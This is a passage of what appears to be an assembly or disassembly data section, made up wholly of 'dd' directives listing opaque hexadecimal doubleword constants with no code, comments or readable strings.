0CFB0D648h dd 0AE9A85EEh, 5A7D9800h, 0C432BB12h, 42A365D9h, 4E5566F2h dd 0EDA64098h, 0E9C91475h, 379402FEh, 0C0A230B5h, 0FEC7702h dd 4B437FA5h, 0BE209138h, 8064C891h, 46061617h, 1C3D8733h dd 0B8A4161Fh, 48E01B1Fh, 0CEA9B455h, 80DC9F18h, 0BE3457E7h dd 0D004E0A7h, 58780837h, 23201C8Ah, 87090348h, 220020DEh dd 47744Fh, 703ABF8h, 0B652BF3Dh, 0C8C5DCE8h, 0C820D1B7h dd 66E7BAACh, 581A10D7h, 0CD85860h, 1D945E1Fh, 80250816h dd 0B2BBD6B6h, 20C35372h, 3D46966h, 0EE56AA99h, 328054C3h dd 84A0A1AEh, 7A0C8BC5h, 108CD742h, 7D50C0Dh, 50397461h dd 18C4710Eh, 7DE3A1E7h, 89898EFh, 6A292158h, 0C972C400h dd 0EC966B87h, 7CE92827h, 89FF00E8h, 46ED5E09h, 0F960D7EAh dd 877E7AC0h, 0AD7300D9h, 0CAE378ACh, 2F30EA83h, 0C06920C7h dd 87D0ED1h, 40FEE181h, 5C254903h, 0BC92EA82h, 0A711705h dd 0B400CBBDh, 0D5318FBFh, 0EA4A0CDFh, 1148262Ch, 0A65DA0Eh dd 0C881864h, 0EE430929h, 78A2A657h, 2048CB95h, 0BB001151h dd 8F21F2Dh, 5D118C7h, 0B21AB5E0h, 0BCB83219h, 60119084h dd 211AC46Fh, 33C040E7h, 7AC468h, 0A7811D0Bh, 496FBD07h dd 7C15BB7Ah, 4864708Bh, 20234Ch, 766BB511h, 448653BDh dd 9043EC6h, 0C5E501B5h, 98188983h, 0AC94E885h, 0AA5D0D84h dd 40C074FAh, 0BF6AE6ECh, 0CE017076h, 825EA030h, 20BA6BFEh dd 63397E01h, 501B028Fh, 27ED057Ch, 160C64F1h, 0EE5B6600h dd 5FBB7C8Ch, 5468C2DAh, 689088C2h, 9C1359A5h, 80380F4h dd 29C8310Fh, 0A501F18h, 40C4976Ah, 0EFAEB736h, 4B52F400h dd 0E00BC973h, 9CC800F8h, 1E186406h, 0FE028DD2h, 2F10B190h dd 0D6C8C048h, 6361805Eh, 0A91BCA8h, 0CDD54100h, 5A9F35B7h dd 43800038h, 18B0D4FBh, 9112A7CCh, 2C0E1D23h, 4456707Ah dd 30D09A00h, 0C3D37BACh, 850D9100h, 4E1FC83Eh, 1F74A4E5h dd 6D48E7Eh, 48375179h, 3F9F783Fh, 0A42ABE7Ch, 0E91AC31h dd 11C46C80h, 448C98E7h, 6524305Dh, 3D0084C4h, 5F14D3F3h dd 0EBC813E1h, 5D2043DAh, 60DDF67Ah, 791D995Ch, 80241949h dd 7674B518h, 0CC448CF5h, 0B5100737h, 102E411Bh, 602D0C40h dd 21F82033h, 0AD58987Dh, 9F60349h, 35B4B854h, 6032A5D8h dd 0E2385E52h, 0E80730CBh, 7409C7E8h, 0A1F56257h, 0FEC29D0Ch dd 86175033h, 5E4040A2h, 1904EB42h, 3D189300h, 0DC9B9656h dd 17609BA8h, 91582087h, 0ED01F8FEh, 0FCCEFAA6h, 62F2A868h dd 0ACAF0093h, 91669242h, 8C7E0018h, 7D37BFF6h, 26CEBC00h dd 77BE1720h, 0B0710202h, 1B8541A5h, 92384048h, 0E5345C13h dd 7B9F2C04h, 0AA78204h, 7CE0C8EAh, 90DDFA52h, 77204h dd 7EF489A8h, 0D88810FFh, 20B4E8A8h, 5C033C79h, 5373DD6Bh dd 0AC083043h, 3C0899D1h, 0DA05A2EAh, 0F5FC333Bh, 25D6A840h dd 13AFE4CBh, 60BB4028h, 50EAECF0h, 0C9ED0786h, 0E0F689FEh dd 9054D93Ch, 8404D04Ch, 1900669Eh, 80A8A483h, 0F0001646h dd 24D71209h, 560A3607h, 647D8450h, 1AB4656h, 20860465h dd 0B089AD6Dh, 9411D7F2h, 86D1813h, 70E714C4h, 35405BC4h dd 0D7AEC466h, 300E6A00h, 0C323C578h, 8E5D003Dh, 0E16C96FEh dd 0D09343EBh, 6F08B026h, 0E8D114FDh, 0B5FB8500h, 657E6D3h dd 1C02A04Ah, 3AF7E4Ah, 0D0BB5AA9h, 5037182Eh, 1C806511h dd 1B460B16h, 0BCD6448Ch, 7616241Ch, 2F61CC80h, 1EEF8Ah dd 0CD79E1D1h, 0F3F640D5h, 0C40A8F0Ah, 0B8CAE0A7h, 0B25E9D02h dd 1D60AB22h, 80D21190h, 5C0FD61Dh, 49DA2C4Ah, 0E1144108h dd 51DEFC91h, 60609626h, 8EC0A441h, 43222E1h, 764AD504h dd 0C2D0B4BCh, 56A8A540h, 430990EAh, 0C410F5C8h, 41C0CFFBh dd 0A6133E36h, 10E0AEh, 3017247Bh, 7A09019h, 4B6FD100h dd 0E252B5BBh, 0BA89C247h, 0D480D01Bh, 0EC76C0A1h, 0BCB51F26h dd 6C307992h, 26E9EDB0h, 0A8C4BA8h, 28644082h, 1E124650h dd 5C483C0Ah, 4FA7C41Bh, 2A3CC097h, 2842053Ah, 2078B9EAh dd 7D00DD3Eh, 0CC730A9Fh, 330FECBFh, 0B818A8C1h, 0AC58D2FAh dd 400008E4h, 757C06E1h, 2ED6B04Bh, 8A64ED61h, 0E4704902h dd 4C98A27Dh, 9553C090h, 6F4E845Bh, 0D0ECD015h, 85000629h dd 0C0BD7744h, 43B52CDh, 12C66188h, 0B648C176h, 38CF00D7h dd 164BB77h, 6D07E6BDh, 1DE864D5h, 0A5C58C01h, 0D783E37Ch dd 86A8D100h, 230616Bh, 0AD6DBE0h, 8119C5A4h, 1DC7DECh dd 3824CC95h, 7906EC33h, 24A6017Eh, 196976E2h, 4CBFFCB1h dd 0E0AF3F06h, 0AD01E51h, 6B6EC120h, 0CE4F0834h, 191F6A00h dd 59525E0Fh, 1E12F0E6h, 0EA600B17h, 952ED816h, 465EA01Dh dd 88EE00CBh, 0FE94027Ch, 11E45C66h, 7EEA2160h, 0BB00D8D2h dd 255E22F1h, 1174362h, 0E17ACF0Ch, 0D8B337FFh, 700DD03h dd 0AFF33C3Ah, 5619A679h, 0D853A05Dh, 9D30D7A2h, 3D660409h dd 806D19C4h, 57E27480h, 8B14720h, 0A4E632D5h, 263ECC24h dd 950C9390h, 41F49C2h, 0C463A4DCh, 623C8216h, 6091A050h dd 0B460F4D3h, 0B1120553h, 6D0F088Eh, 43ADA018h, 77BAF91Eh dd 2866FC62h, 48C2CFD4h, 4704B8D5h, 88DBC12Fh, 0D3023FD8h dd 0FC1FC626h, 0ADB4A0CEh, 0ED2E1h, 669CB6A1h, 98D7BC5h dd 0F3438800h, 0B8C8FE7Eh, 791C021Bh, 0C4890F45h, 0E70C9852h dd 10C2311Fh, 0F65214FFh, 6C0988A0h, 0CC27410Fh, 0BD9EF275h dd 0BC096001h, 3532760h, 27E6D58Dh, 4128DD49h, 24011432h dd 61170D6Bh, 0A99FF95Dh, 0DE564B2Dh, 2A04540Fh, 1824B0ADh dd 207C4400h, 0E2ECE3BEh, 764CB482h, 0F1F6E323h, 0F17EEE3h dd 0E2248E5Eh, 4F4E253h, 0DB3FDA46h, 58702CE7h, 8117BA08h dd 0E5408E4h, 1E3C06C0h, 803B435Ch, 343C0E93h, 66F04D5h dd 0D8560775h, 0E84D5E74h, 0E45B8E70h, 9CA26C52h, 74500D24h dd 5604CD46h, 0C82FE719h, 1E62E5C8h, 44DCAD10h, 0D8062040h dd 0D1C08678h, 0D30B34B1h, 0EC6DFC94h, 0D64DF81Ah, 90141059h dd 0D0196C87h, 4A648D98h, 243BA0Ch, 2082C0B1h, 130472E2h dd 0C1D50F6Fh, 0C0892892h, 53796958h, 2F4B4043h, 5A2324h dd 84FB2572h, 6C01B160h dd 4CF51143h, 57E4C303h, 18549230h, 39646607h, 0FA00F28Ch dd 0EA617C22h, 768B8Fh, 3BB4A6FCh, 0B310510h, 0EF179500h dd 0D90C96EBh, 3364B08Fh, 6EA8DA6Ah, 73BE490Fh, 3D554EAAh dd 14874612h, 1A5761C1h, 89879ACh, 8617A6BEh, 7F110020h dd 0B22C0071h, 215352BCh, 0DA019735h, 74E42FAFh, 90201AB8h dd 0B1F820D7h, 3442CF13h, 9612043h, 8B2008EDh, 0FD8CB202h dd 0A50E9944h, 6264E4A4h, 10C0E09Fh, 20710144h, 0B3EA8095h dd 0C61AAFFh, 0BE81D313h, 0EBE3E045h, 88FA30C7h, 3EC03B47h dd 7D104EBBh, 0CA550171h, 58617DC2h, 9502D2B9h, 0D22448C0h dd 0F5A000A3h, 0B7192DABh, 0B04D5E42h, 55516010h, 0B6A2F10Fh dd 0EF770FBCh, 387E0B02h, 0F2C85440h, 74821CB4h, 683242F6h dd 4BC5EC44h, 1F386124h, 0FC3D61h, 55916E2h, 9A15861Ch dd 0D6522D04h, 81E1000h, 9D1C0C5Bh, 97C25694h, 4CDB75BFh dd 985302D8h, 0D103D9E5h, 0C91DC4Ch, 518A7D1h, 9E7E5E01h dd 0F303715Dh, 2C1B5860h, 0C0DC2379h, 7672B51Ah, 7C2CE54Fh dd 0B5120041h, 0C7EAC1CAh, 55ED9D1Ch, 83C080A4h, 0E00BAE7h dd 3964AEFFh, 0E26E3Ah, 60A05409h, 0C8966A74h, 0E09E31DDh dd 0C105A141h, 0A80FCCFh, 0BE15B8E3h, 0E11920A2h, 0EDE0D373h dd 0B4A03460h, 0A59E89ECh, 210F0C40h, 613DC40h, 58E10338h dd 7C0CD8C7h, 287FC652h, 865710EAh, 5A7509CFh, 1F2C40CEh dd 59507BD1h, 0BE0B8C62h, 0AC820F4Ch, 1C680A57h, 0AD07361Dh dd 0EB7F122Eh, 40709FC2h, 91610E0Ch, 0D3FA0F48h, 939D3700h dd 65715543h, 0AD38D001h, 0EDC80D6Eh, 0DD041C3Dh, 0F4C8251h dd 0D86B6478h, 9252BD01h, 0FC188065h, 30D09FB3h, 0FF7D0CA7h dd 0E69EFE1h, 0BC1CD624h, 24C81695h, 0F40B0C7Eh, 643807E6h dd 51365202h, 79EF049Ch, 90A638h, 1B787D28h, 96FF19BFh dd 0CDEA4578h, 21A02170h, 7F209594h, 0ECAC4090h, 30E7C826h dd 0E4977442h, 4D370078h, 1D4CC578h, 71009F54h, 1E09FD1Fh dd 0C326E43Bh, 384A130h, 0B24401A4h, 782904BEh, 8C6F6907h dd 0D4ADC1F6h, 5B987648h, 0DA23AC2Bh, 6008FA07h, 0DE1338F2h dd 0EC863D34h, 29839CE9h, 0B7DA440Ah, 38C84030h, 0D3465Ch dd 207D1853h, 0C5698E49h, 406566B8h, 0F55038DCh, 89E44806h dd 0F2CCAB00h, 65B66BD8h, 98611C8Dh, 8A5244FEh, 1628A47Fh dd 14C08F50h, 4DD2463Bh, 1D6E1290h, 7AE28800h, 0BC9FDE52h dd 0CC1E941Ch, 1FED610h, 0BB7E0C64h, 389FE0A7h, 5E3A0573h dd 0B41804B8h, 85248519h, 0EEDCE4ACh, 66C1F106h, 1669A118h dd 21ABB527h, 0D383E0h, 0EDD507E6h, 987D1887h, 0E92E9141h dd 0B670301Fh, 70415541h, 5D00E393h, 7704FC91h, 3E42CED4h dd 540AEC90h, 682B1D8Eh, 0BBF9C41Fh, 0AC008089h, 2E018DD4h dd 887E7B1Ch, 382906F0h, 77D7512h, 6946CFCCh, 1E60605Ah dd 0F11F5520h, 0B15094C0h, 47CCA5C0h, 0AA5CF008h, 0A0CE5122h dd 20A66918h, 0D9CD9C64h, 0B37027h, 0A3BE3D5Bh, 25E2935h dd 0DEB2FA1Ah, 0A7182040h, 1544281h, 637C5D7Eh, 41A01FCDh dd 0FCAADFA3h, 4A147687h, 84B8AF7Ah, 1890C795h, 0F0E5F059h dd 600F0913h, 708261E8h, 404A6D79h, 0D49B28Eh, 0F8EF5002h dd 53BE4820h, 186A8987h, 20160811h, 0D5C40346h, 161AC75Eh dd 0E9543160h, 8F28E8B8h, 0B0E3761Fh, 0EE00B6DDh, 0F47A46EBh dd 6078B2CCh, 0A8A1E97Ch, 713E28Eh, 240177EAh, 0D472F9CFh dd 1D88E048h, 0C8200B4Eh, 1900C8D6h, 67303FBEh, 8640C1F8h dd 0BD8DD216h, 986146B8h, 230B4621h, 230281E4h, 0CD603B16h dd 0D65100EFh, 542766F0h, 0C965960h, 963A7B82h, 18B490BBh dd 9AD62636h, 0ADAE0984h, 2CC5E4E8h, 825B5D12h, 0C48EF452h dd 9BC0D188h, 57C06B6h, 57E244A6h, 0BFC889D9h, 26F9A710h dd 0F96961D4h, 0E0247AE5h, 84A60364h, 0E7D9D073h, 95938A6h dd 3C0780E4h, 8C435C17h, 94AD44h, 83CA3C0Fh, 0C728DCCFh dd 0DCC2D326h, 18C50208h, 0C95B880Eh, 0F5C84CA0h, 7A61D560h dd 3F6847Ch, 834769C3h, 0AA2E1D6Bh, 0A540005Eh, 3478CBh dd 536EE768h, 8473E688h, 4C315Ch, 66B1FDC4h, 0FB2CC07Ah dd 40FA4C20h, 590E375Eh, 0E504422Eh, 3852CB14h, 8C25FCA4h dd 76EAB5F4h, 0C6221546h, 0B50C4300h, 0CE3EF71Ch, 0E31E000Eh dd 0C43AE8B7h, 0E44D1FEAh, 9D84256Ch, 0FCE691F8h, 0DEE185E6h dd 943CB651h, 20983300h, 0ABEA80BEh, 2098CB69h, 0DC037080h dd 0F9B712E1h, 0E548A0A1h, 0B075A35Ah, 0E2B26897h, 164F0DAh dd 0AFC28AE9h, 68DEA8D4h, 0C3105C68h, 0C1468DD1h, 4822DFCFh dd 257A5610h, 0CE04609h, 0BEEA52FFh, 140E6C68h, 37ECC472h dd 0D82B8C04h, 92D21F03h, 83606025h, 18847ABCh, 0D8FD4708h dd 0A08CE2DFh, 814B820Ch, 1901E3A2h, 0ECF8CCF5h, 52DD196Dh dd 407E9464h, 0E225AC70h, 0D87C0AAFh, 800FC00Eh, 297AB1B8h dd 67612617h, 0A1DB803Ch, 7037CA24h, 118DC000h, 1C3A7F74h dd 6FB0C2D4h, 0E87A82A1h, 0CF781900h, 3B9EF924h, 12EE5F9Dh dd 0B92888F4h, 72B16458h, 0A1772D00h, 8AAA553Fh, 46B49654h dd 1C4AA934h, 0D223982Eh, 422C8528h, 980A04Ah, 1F8AC40Ch dd 5CE4947Fh, 511EA946h, 0ED47003Eh, 0CE4A7AE9h, 80B64Dh dd 0A08A7ED4h, 219FF7Dh, 0B407F9EFh, 20424CC3h, 0E28428Ch dd 0E71978C1h, 3824A257h, 98C15496h, 6EDF3846h, 8148770Eh dd 0F7C2C6A2h, 1E6CA848h, 5320ECB0h, 6E5B4CFBh, 3945D28h dd 470EBC29h, 46B03FD8h, 0C3071EF3h, 0DF36A045h, 48926330h dd 3AC40CA2h, 0D3088A40h, 990221C0h, 3D4A9063h, 0F40F6D03h dd 2A8A0A4Eh, 7E04D424h, 3CB5E348h, 22EC9F05h, 0A230F54Ch dd 48941163h, 80D888B2h, 9F639B04h, 4400C9CEh, 35D19606h dd 757ADC98h, 0FF553FA9h, 0AFC86B00h, 49A78BA0h, 65BF38C0h dd 11CF9FDh, 0C35B0CCFh, 0D15AE4C6h, 8A21805Eh, 5DD2F9F5h dd 68A20006h, 0DCCC2B82h, 3F1CD54Ah, 2C00CB4Ch, 0F4294EF7h dd 185661D4h, 83A82F0Fh, 24CC4540h, 3AC098AAh, 9FAC3CA4h dd 429D8B4h, 105875A4h, 3BA908CCh, 8AF191D7h, 480ABC9Eh dd 0DBC48092h, 6397005Ch, 155B5C78h, 9D5D4907h, 5816A821h dd 48E300C9h, 149F7FBAh, 7800B767h, 0F671BBF7h, 861258h dd 0A9C13C65h, 0B4A425D3h, 2F147D76h, 40CC3E10h, 0A200794Ch dd 0A6209AE8h, 1F390121h, 39F7865h, 0C988582Eh, 4420E0E6h dd 0CB480870h, 2D0465F9h, 4A409ABCh, 7E45F011h, 21200E0Eh dd 8D55CE58h, 43F078B5h, 0CEB9C14Ch, 48D1E82Dh, 0CA40CBE4h dd 52B1EABh, 0C09E1549h, 44C4950Eh, 0F46E151Dh, 0F91C8723h dd 0ECCF1842h, 1061195Ah, 0F9F186h, 0E3985031h, 0CA8AA39Bh dd 2854CC0Ah, 0A001E43Dh, 0BBD34C61h, 2B958081h, 8F717CC4h dd 0E8E2F0E8h, 0C982341h, 0AA6155A8h, 0A185B00h, 1B217F3h dd 99230088h, 5403256Ch, 61EADBBEh, 45F640C1h, 3989513Fh dd 2420A62Eh, 0DE217B3Eh, 19059172h, 0C4742D51h, 44CC8C1Fh dd 0A13EF93Ch, 48106CB4h, 3760F1DBh, 789CF058h, 35FC0ACBh dd 64943075h, 0F9FB6089h, 0FCCF211Ah, 0F9F388C0h, 0ACF51D34h dd 510E40BDh, 3545B1F4h, 90E9BC30h, 30DB4A86h, 0FF786469h dd 2500409Ch, 85897717h, 137F5FAh, 0E1816609h, 0ED8D367Ch dd 0F1780C8h, 9D29D0B7h, 35243C51h, 0FFFC5082h, 11A7EAB5h dd 859591CFh, 0EC8A012Ah dd 2C715A8Fh, 0A7BF0C10h, 887C585Bh, 5F00F952h, 8AF18150h dd 14563648h, 2ED3D180h, 85D4698h, 8B311082h, 5593E8Dh dd 31EE2566h, 531C6A70h, 23203E8h, 91226320h, 0AC3A5C89h dd 21178CAAh, 0C3530343h, 0DB989C6Ah, 0C8BA022h, 0DC9BD89h dd 0E62980F3h, 0D4314DA0h, 4B4C54BCh, 2D9D21BDh, 57C8F210h dd 91C35FC3h, 1A187C89h, 574788h, 0DFEEDBC3h, 0D9CA2FBAh dd 3B9B94Ch, 4686CB4h, 0BD284101h, 82B610FBh, 8A3079F6h dd 0BD014706h, 0C3046C25h, 398C5584h, 8911C35Dh, 0A41C886Ch dd 3AC30000h, 85748CE4h, 8670310Dh, 0F7D16E0Eh, 4079CF48h dd 47EF0F24h, 0EDB5C13Dh, 8F601331h, 50C98D43h, 0A0610F8Dh dd 832F2596h, 0E1A306BDh, 87504B11h, 0E2178053h, 6A1C85FDh dd 0B51702D8h, 0ABDFAE4h, 938015Bh, 1DB33F85h, 0BCEE81Fh dd 7335D700h, 6D09455h, 666F0038h, 0E95ACB8Bh, 0ADCE160Ah dd 312288Dh, 23CDBD83h, 2E2A08B5h, 52469FA0h, 89C8C251h dd 449FAC54h, 523F4219h, 0DE5303C3h, 3699E45Dh, 5D86055Ch dd 814D8422h, 0E0541FA9h, 95899701h, 23221169h, 930A4915h dd 0AEE95F05h, 23493A15h, 45A10115h, 94E5958Bh, 9DF8E961h dd 4F0B0558h, 0A8B619B4h, 150A9A6Bh, 9725C54Ch, 0EEAD49BDh dd 71455029h, 229181Dh, 0DA2A9865h, 6C40FD50h, 82480F31h dd 12F19422h, 0F72330A1h, 77B35779h, 5FBB712h, 28B2C5CFh dd 184584DFh, 3A886225h, 6600F7A8h, 0E9D8FABAh, 2925CC12h dd 32A104D4h, 772BBE91h, 26545D49h, 46743050h, 0B4CC1915h dd 8110E054h, 0C21172D7h, 8C732141h, 11C35839h, 67904489h dd 0C3504000h, 0F28EB1E8h, 0BF0FD309h, 59A102D2h, 13882227h dd 30AE823h, 0DAEC3D0Bh, 2680C402h, 0FF616624h, 835AC93Ch dd 8F2010EDh, 0A0C0E4D0h, 8926A1A6h, 798E2475h, 18743044h dd 2C535019h, 749D3B8h, 0C18508A6h, 9D8D032Ah, 0F005B438h dd 585BD3FFh, 8172262h, 0B1277820h, 0B531148Ch, 8511725Dh dd 71E74004h, 0A78E1568h, 59875111h, 4C8922C3h, 41111B31h dd 94E07A51h, 640E0169h, 0F18D026h, 845238Fh, 9045595h dd 8910BD81h, 6524726Fh, 55273561h, 4FB1F9C2h, 0BF0E8850h dd 24E064F7h, 0BF00D864h, 9D85C60Ch, 4412C017h, 0A3184F68h dd 123B9658h, 4D210EC9h, 88653898h, 0B1D8D602h, 0DC26D32Ch dd 0AE4AA679h, 8742493h, 6EBC28Ch, 5B157F4Ah, 23B81094h dd 0C35E0E56h, 8E748945h, 5646006Eh, 698402C3h, 8D5A168Eh dd 3111017Ah, 526619Dh, 0ADF7D80Ah, 8B058F08h, 0A48FE3B8h dd 0C5174476h, 6C3A132Ch, 2F001723h, 0F5280E65h, 0FF2530FCh dd 0BEE5801Dh, 5F8830Eh, 19738D0Fh, 7268ED9h, 1D039110h dd 0E6FE85C7h, 0E821010Ch, 2381298Dh, 0BD3E15D7h, 17A24C53h dd 0BE0FB30h, 22B6865Dh, 2948990Fh, 3F58E90Bh, 0F5D6004Dh dd 72B62E66h, 4269F90h, 1659A0C6h, 0CA22F513h, 8830C269h dd 1081E96Ch, 0DE199529h, 504B7A84h, 12D256E0h, 0F20D1A56h dd 0BF23217Eh, 0CB2D8800h, 7063C403h, 4C4F9800h, 0AE1FC84Eh dd 0EDF006BCh, 2F0CE80Dh, 28637C00h, 151CD69Ch, 4BFC01BEh dd 0B5295023h, 59C85275h, 2591E7C5h, 568B5D76h, 132B3584h dd 7106D22Dh, 8110F90Ch, 0EA2E03F1h, 0E60824FAh, 80600111h dd 0E96168D8h, 0F9F79328h, 53BA4900h, 4A36FE7Fh, 1443BE60h dd 0E304421Dh, 0F0EAD057h, 385A002Bh, 9EB62253h, 6E7F99D3h dd 26D19140h, 7ECA615Eh, 0D4F2D447h, 22B28B17h, 3E876800h dd 0F5D37D54h, 1A236A3Ah, 90B4813Dh, 3226E61Fh, 304FB440h dd 68611460h, 0DE45C33Fh, 89851B07h, 0EE8A821h, 83050B83h dd 72F8A68Fh, 290F44BBh, 26357056h, 819A59F5h, 0A82D6AAh dd 1B419D01h, 5920305Ah, 0F460482Fh, 0A84C8F58h, 22BD1088h dd 58BB000Bh, 7A743B19h, 0E709201Fh, 4A61F32Bh, 0E9480457h dd 8248A4h, 316DAFFCh, 4D569CA8h, 2502AFA1h, 9201FB87h dd 1C66D281h, 108F1FD6h, 4499D89h, 15087693h, 0C91025B5h dd 19118217h, 0A572C980h, 3A01C63Ch, 0D7D6C781h, 0F9367CA8h dd 13F99540h, 61860F50h, 0BA260181h, 14CFDC7Fh, 590830A9h dd 0B08EBC92h, 6248B003h, 61F076C1h, 475D2F84h, 2299FF68h dd 65FAB703h, 26149159h, 1104933h, 70AC5F88h, 2727E90Ch dd 351CC8F8h, 4674A5A4h, 66A30114h, 50EE67B9h, 1F69CC40h dd 454E9435h, 0D1F20960h, 81664BA3h, 82B507B3h, 0FE91B563h dd 6E32E9h, 723117A6h, 422233Dh, 0CCCDDD66h, 0B44F8416h dd 80510F73h, 64E4218h, 398D8920h, 8B6AC40Bh, 194588CAh dd 0ABF6688h, 7E87E2Ch, 0F3D0009h, 0C0976803h, 5FD3BCA0h dd 292FE928h, 0A5068532h, 0E4134051h, 1E7A1BC5h, 8CF5C05Ah dd 56691A0Ah, 24FB6BA6h, 0A0A8F13Ch, 53034445h, 6A5FF80Ah dd 4674BB10h, 81CE3917h, 8D29FB51h, 648102E1h, 55F676BFh dd 0CD0C2272h, 4E4E3F44h, 0FC01B88h, 95DF423h, 0D8EECA32h dd 99FB5304h, 91FD012Ch, 1FE90110h, 8B03FBAh, 0D2C30B0Bh dd 35CEA204h, 3C98F094h, 0C7A4E9h, 607929F1h, 50DB2D18h dd 59C85750h, 24B11592h, 351815F9h, 0E5CE44F1h, 0A2DB63F6h dd 0BC173019h, 0F1CB8B0Bh, 40A23290h, 0AC226909h, 0B0E81F5h dd 0FD0781F8h, 12274CFAh, 0C2DDBD23h, 64E76AEAh, 5D601A64h dd 66091F10h, 6181D7F0h, 2A4601D6h, 15314F70h, 89257E2h dd 80840367h, 0CC819DD1h, 7128A0C9h, 66DC114Eh, 22188A70h dd 0FC89018Eh, 32537C26h, 0B83119A2h, 3427BDF4h, 0A778CB68h dd 0DEB21870h, 983CB55Ah, 0F8BF06C8h, 2580685Ah, 6AC88A00h dd 45852903h, 8645A217h, 900ACAEAh, 3FB55845h, 0B1E8FC7Eh dd 82790069h, 5898D3AFh, 6533CC00h, 7EAA07CAh, 0ECF014Ch dd 5950C980h, 0F9753061h, 3B68EC32h, 443DC7C0h, 6B2D6018h dd 0EFAF25EEh, 1860110h, 5F7C000h, 9B973921h, 25D73BFh dd 0C49C56EDh, 0C08BA56Ah, 68ED1EA9h, 5C40F0C7h, 144CD03Ah dd 8AF6F199h, 211AE117h, 2244101h, 0F88D8F9h, 0F8834386h dd 1811C9D4h, 0DA1F7E06h, 0B83D5411h, 93816ECh, 28D23B1Ch dd 0C092694h, 0A9428502h, 8C4E850h, 2625718Dh, 325908F0h dd 0C026113h, 0C75AF59Fh, 621464EBh, 0F1C74164h, 0BFD06941h dd 7FF922C9h, 0EFF25E88h, 0D0C6012h, 0B0F709F8h, 13F14B58h dd 8A0281AFh, 0F83A28EFh, 0D8E48FD8h, 0D9CD502Fh, 0F802B4B6h dd 0D03DBD8Bh, 2988CA92h, 5C1010E3h, 14DB921Ch, 1AC5F480h dd 8C580F7Bh, 0F5BDC4B3h, 0B16A01E0h, 1816D92Ah, 0FB4A12FFh dd 0F08027E8h, 0FE92EC35h, 4F8A3A00h, 60F2FD2Eh, 7450051Bh dd 0CC5D9DB9h, 0C1002413h, 6D514CA8h, 44543F3h, 5985C4CDh dd 185DB66Ah, 0E70B11E9h, 75060047h, 11B0F45h, 630EFA03h dd 2D03E0Eh, 8BE97DB2h, 0F9C60072h, 941E63CAh, 0EE376B8Ch dd 0F894D87h, 9D61A1EAh, 18621BF1h, 1AE22B42h, 2D32730h dd 7E01DC50h, 74D2E9D9h, 44947900h, 0E31FB370h, 0C9062513h dd 29E9B419h, 704C00CDh, 0B0FEE8ABh, 0A0260134h, 688AFD36h dd 943628D4h, 0DEA93F30h, 4584112Ch, 0A5628925h, 0A0394E05h dd 4BE9D7AFh, 9807702Eh, 4703BB93h, 113B49Ah, 0BA2C73CBh dd 0E091960Eh, 0B39E16A4h, 87DEED3Eh, 4076958Dh, 0C2A1AA10h dd 5CDA2F2Eh, 1611F31Dh, 7F9B5780h, 4A94CF8Ah, 8D4008C4h dd 6C969D9h, 0AF911717h dd 0CCFC2562h, 60408DEBh, 0F979B6Fh, 89148F58h, 3D685F60h dd 7C000449h, 0EB43999Eh, 78CBBFAh, 0E0B85B3Dh, 612BE023h dd 0BE285C7h, 70AF3552h, 299A2948h, 0A534DC0Fh, 1D8DC21h dd 62BAEF07h, 0F8E4DC10h, 507C1195h, 1AA2B873h, 477AA30h dd 4EE36C1Eh, 0E919C115h, 9901130Bh, 76694D95h, 71308C2Eh dd 8690F6E9h, 0E30F1673h, 0A07B14B8h, 3AEC9DEEh, 6CB628C0h dd 69FE45C6h, 15FB87Eh, 0D1E88423h, 30CE7B83h, 8CD1CAA9h dd 8C1DA8EBh, 0A6E69F00h, 77BE5EE0h, 0B04AEA52h, 0ABD20B7h dd 3825C396h, 96078119h, 8D2BC2F6h, 0C09E3E42h, 0FA2B3144h dd 922F4269h, 9DA76A30h, 8CE71EABh, 1721DB89h, 6D84C8ADh dd 292BF500h, 7C439CA3h, 0E2ED01AFh, 0B7B45EB6h, 0CC26E0h dd 9E14CA81h, 0B35006D7h, 0BE2B7801h, 0D104BA7Eh, 7BF0C1FCh dd 4EB6BF98h, 0B722152Ah, 8B82B695h, 7E58398Dh, 1527D785h dd 8E1691BEh, 72620C20h, 14F681D1h, 3A00ACE2h, 0B8D2514Bh dd 0BD00F9CDh, 570F314Ah, 2C89F3F8h, 92E90D95h, 8D94985Fh dd 786046B1h, 1F288Ch, 0FF9FC8CEh, 265E98A9h, 7E623A04h dd 0C9817B4h, 0F9B53931h, 523FE9C0h, 0C2BAF1F6h, 7070F332h dd 2F06564Fh, 45DCFF90h, 0BE208001h, 672782C1h, 0BDC4E46Dh dd 6E590C0Eh, 960D7705h, 1446748Eh, 858BDE01h, 58352E71h dd 9E00899Bh, 3CAA5D1Ch, 0DF0367Dh, 0F87C1E87h, 1B846052h dd 5EE95A80h, 6E7717F6h, 66B5006Eh, 19A9CE6Eh, 8E591EBAh dd 0F904898Dh, 17110B1Fh, 0C25E0792h, 218D3286h, 0B542B85Ch dd 20B5440Dh, 0A980A719h, 3C942A75h, 0CE46B99Dh, 787C3390h dd 67082866h, 1AC920B5h, 0D0407D96h, 0FA58CBA4h, 8BA502A7h dd 4D8D01F3h, 0FC528C50h, 0C08D4834h, 597D3108h, 5C1C008Fh dd 0CF4B4863h, 0D8359017h, 920D8487h, 86A74711h, 61F164B3h dd 0CF810001h, 88A214CEh, 0ED945124h, 68C18E8h, 0CCF348DBh dd 0B505F6FCh, 0E8C08B9Eh, 9BB66F4h, 37F2EAD2h, 5A4AB950h dd 0D923B43Eh, 0CB0BD9F9h, 0C9D58260h, 8D29012Fh, 613834F9h dd 90FABACDh, 5CCBBAD4h, 451094DBh, 13502522h, 2F07D06Dh dd 2ACE0751h, 40BA40B0h, 0A593C264h, 3D24737Fh, 591C1EECh dd 0B05F7720h, 8D8527CFh, 9E531086h, 7E1FE95Fh, 5D8903CEh dd 0BB50430Eh, 0E8203806h, 5B8F3821h, 4D09538Ah, 74D74445h dd 60C9B6B6h, 3C46676Ch, 72EF912h, 250070F1h, 4C75BF66h dd 1DECF1FDh, 5E0E018Ch, 8CE6A55Ch, 5C63CAFEh, 1541EB4Eh dd 2DCD8060h, 267076A0h, 441F870Fh, 15928C50h, 0F20BD401h dd 5AC44A2Eh, 6778F8F9h, 119F0896h, 0E1410A5h, 0D7F203CAh dd 92105A13h, 2FF37998h, 4BF238D2h, 3F301DF2h, 0DDBC00F1h dd 81F875DBh, 0FDA1E38Ch, 38B32539h, 0AEDD9FEh, 90846803h dd 0C5BA6093h, 3870A500h, 53613AB7h, 26BB90F8h, 0F6C1117Dh dd 0DE8CD18h, 1583913h, 2F90A4B7h, 0F8988340h, 0EF1E3AA5h dd 9683E981h, 2A5F3684h, 88C7E576h, 0C5131Fh, 0F24CB34Fh dd 